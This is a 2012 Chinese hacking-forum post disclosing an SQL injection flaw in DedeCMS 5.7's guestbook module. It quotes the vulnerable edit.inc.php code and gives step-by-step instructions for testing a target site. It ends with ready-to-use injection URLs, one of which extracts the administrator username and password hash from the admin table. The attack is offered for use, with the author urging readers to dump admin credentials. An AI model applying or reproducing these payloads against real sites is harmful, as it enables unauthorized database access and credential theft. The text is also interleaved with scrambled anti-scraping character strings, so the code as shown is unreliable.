找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3795|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.7
& [8 J/ w+ X$ |' K/ S- b0 Q% `) q) ~8 F: P1 E9 g# k
漏洞文件edit.inc.php具体代码:0 x% k4 |4 Z' h- ~: Z: }; ]
& F5 q. d9 v* z- |
< ?php  
0 {( f$ g- N( O% e( L2 T- e( q# a: j
# J3 H; [4 i, ]- u( tif(!defined('DEDEINC')) exit('Request Error!');  , O& ]+ w0 R/ P4 C2 l3 I6 J) d7 S! M) R! j

4 s; j1 _( B& D1 j9 Q   : F& ^8 [) y: h9 B' s
, T5 J; ~: v2 C# P
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  % o( J$ J- n  t6 E$ G+ f( m

, D' }% o: c  ^! n9 E7 felse $GUEST_BOOK_POS = "guestbook.php";  
* t* J6 z! x" {1 u' X. Q  y: t  o" J( v( m5 r
   . }2 ?7 h' m6 g( {7 }

7 S5 v- `9 J* B8 y% C$id = intval($id);  ( p: }) m& t; C  o, [

4 I2 G0 W) |- ^- z0 bif(empty($job)) $job='view';  3 d6 q% x# N+ R# m; u7 p& z  Z- Z. X4 M
; u3 Z4 Y: O7 b0 [4 @
   
4 r' o4 `: D% b) X* ^7 i, j. \. U; Q5 Q1 W0 l* Y3 Y/ J- z4 N; c
if($job=='del' && $g_isadmin)  , c0 x% @3 D8 D1 a
# c' V# I. t4 e% S  [: l: }/ Z5 {7 }
{  # |) _; ]' y( C* a+ i: g- ^% [- D
. `& P! t  R( h9 d0 g
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  7 ^# s+ ~% v8 Q, V/ @

! s( u) m! w/ W( m( a0 rShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
/ o( K9 W6 g8 \5 o! K  d
* Z) o7 V: n8 ]/ y% K* `* b# Sexit();  
& h$ A9 r7 _8 G' D1 R8 h$ S8 p5 P- R( S7 e* H( {
}  + k: A% L4 Q( A: ^/ ]+ T
$ s- o2 s0 [. [) P3 g  m3 \
else if($job=='check' && $g_isadmin)    d; f6 x$ f* i6 W  |: o: v$ L
( T9 d$ D6 R2 S5 Y% T5 x6 Y
{  
% ?$ y- m8 N- }6 ?/ f* D( T6 B6 c% R
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
! t  P* F- R- C$ E/ [2 P0 N" h) J1 I6 {" V/ f! |( l) _, l; K
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  ' ]* _9 f8 ^2 V! Q

9 m' c9 {( {2 A" @% iexit();  . n9 j1 a9 I9 _% l
! i8 L1 D" K- B& j& r
}  " J3 m* x2 H# _# F7 q- `; j

4 _( W7 b& f/ k1 {1 r: F2 N6 ]else if($job=='editok')  
! g, H5 ]& U0 X6 ~+ R, ~5 {: F& ?, S% ^0 t, ]0 W2 ~) @
{  7 K, {" ^# m- a" m' e2 U6 w
& _  ?8 |; X$ Z; q8 B/ p; z
$remsg = trim($remsg);  
# D& \/ @2 ^- g% C0 X$ }. e  E
" ~; G" B9 e4 X2 L5 p* Fif($remsg!='')  
' {- Y" O% [" K4 I
+ k# |7 h; [1 `% M1 y{  ; H  C+ J* `0 f( y. {
* ?; L4 d% X' R% \6 u
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
* o: r$ h3 x: W9 Q2 x' l
% Q, G9 G) {& {+ E" iif($g_isadmin)  , \& ~+ W: g9 `/ q) [
' j% o! O, u; `  R0 ?4 v! a
{  
% m6 K% I8 w: o: g% l) B, _
  H, A7 R/ M+ f! q( B5 g& o$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  5 R* B- q& A+ x

$ r7 ^. N7 N, x% V/ m1 B//$remsg <br /><font color=red>管理员回复:</font> }  & _( O8 F; V( \. a

( F7 q- T8 t3 K# V, J* E9 Lelse ! Q5 c+ Y% [1 m+ P! X6 }/ a
# h9 n# j; p7 E  U) E5 ~
{  
" p! Z& H8 i& o- }$ a: N. |8 K* ?3 N( E1 Z( t% U4 i1 i
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
9 ?, ?) U+ L% d' |# \( U- U
# K' D2 \6 p4 ]9 |0 C& S& z  E5 G9 I$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
! E- R: ~; |" r  t8 f1 S
; X0 W; v+ E4 a% K' b$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
  _2 r6 m3 f' r; m' H
% g- t  i9 M' @! [! m& F$msg = $oldmsg.$remsg;  # z0 c7 E# ~( W  L7 L) J

, V$ C1 x/ ~$ A- H% a$ p}  
. P/ P) ~# i$ H& Z
: E- O! K( n! {4 |5 B}  
8 T4 G4 E& b. ~  [
/ i  h( }0 C4 U$ ]9 ^' [" o% ^//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  " l6 H9 d: {0 a, w, c% Q

) t9 `! Q2 T) N4 |7 W# }  w8 a, B& K; b$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  8 F& |* a7 N# [( e4 y  `
0 k, B# K: R+ ?! U5 p' X
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  - I7 ~  a8 ^$ `+ y6 G

% s. ]) N& J: }. b) i- K  Sexit();  ' P. ^0 U5 a+ G2 k5 H, y

* |! r8 w( a/ Q- W( a0 ~}  7 @8 ]4 \4 K" i6 F1 `5 w
, ^' ?1 M5 V, P* Q3 ~7 s; ]
//home:www.errs.cc  
+ m/ e& o1 l! H7 Y. f( E) c  ?' X- a% a- r& e- _
if($g_isadmin)  
$ K" E. m2 g/ P3 I1 o. e
* K5 l* U/ C6 K4 h9 G5 F8 o{  
! s+ [% j; \' g9 M  L2 }
( N- |" Q" v& G* U9 R4 A$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  % t1 o  Q% j7 N' C

2 {8 X0 d; u  u' _) |: u' C( yrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
0 @$ U9 R1 H7 F! }2 m2 c& h
' D1 ~8 _2 P8 {2 K  Y: D' J}  # O# a+ U! V7 ~1 [7 i4 W7 D0 s
' u5 H3 X( Z$ e$ Z, J, Z( e1 |
else
- Z" h& r& |9 p, b6 j) T8 x3 ]
{  
0 J0 ^/ F3 v$ O' h2 Y
4 c6 {2 g3 i/ [( m) F$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
8 V( B  E3 O9 a" ^4 C) M1 A9 ^! p1 B. R
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
5 \3 c; `! X5 n+ T/ {2 J( W3 s0 \
- W* o, }! u& V3 c8 W} 漏洞成功需要条件:
1 L- }' v/ w& _. o, k. a1. php magic_quotes_gpc=off/ A8 R/ M. ^- x  N
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。4 L  Y- b) p. T2 _: c& N5 p
2 l! q! C) e6 t2 m
怎么判断是否存在漏洞:
( E% O( t+ A% A. I  t+ M6 b/ n先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,- H  G! i* C! A# A8 l& ^+ |
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID- H) i3 z3 w4 v+ a5 I* ~( Q; g
访问:
+ |1 E4 a6 t. y0 H. g7 G8 U4 T; P& t0 h0 w; Y
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
# V( z4 Z  l, `0 y6 Q. M; O0 ]0 Z跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
5 w( `7 S7 T8 V& w  @* w2 Q/ c9 }' U- O2 q$ H2 x6 r

$ t/ P0 P; b8 C' |7 d2 ~, d! y明漏洞无法利用应为他开启了 php magic_quotes_gpc=off: A' l) t4 ^2 g  \  V( F/ ~) _
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
. x0 p; H5 ~7 @5 _  B那么再次访问
% f+ A0 U4 V# ]# [& ]" T; ~* W: D$ N2 M& N5 P  b1 F& U
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().7 \! F3 E) Z' }' P1 u0 |! N

4 i5 R9 ^2 j: C+ q大概利用就是这样,大家有兴趣的多研究下!!
7 J* R* h- r7 M; Q8 b; e: }" R! R" E  V  `" Y# @7 r4 U& |5 q
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
4 t; c# E# y0 T* p* R- n
+ B  @+ {/ R& ?& iview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表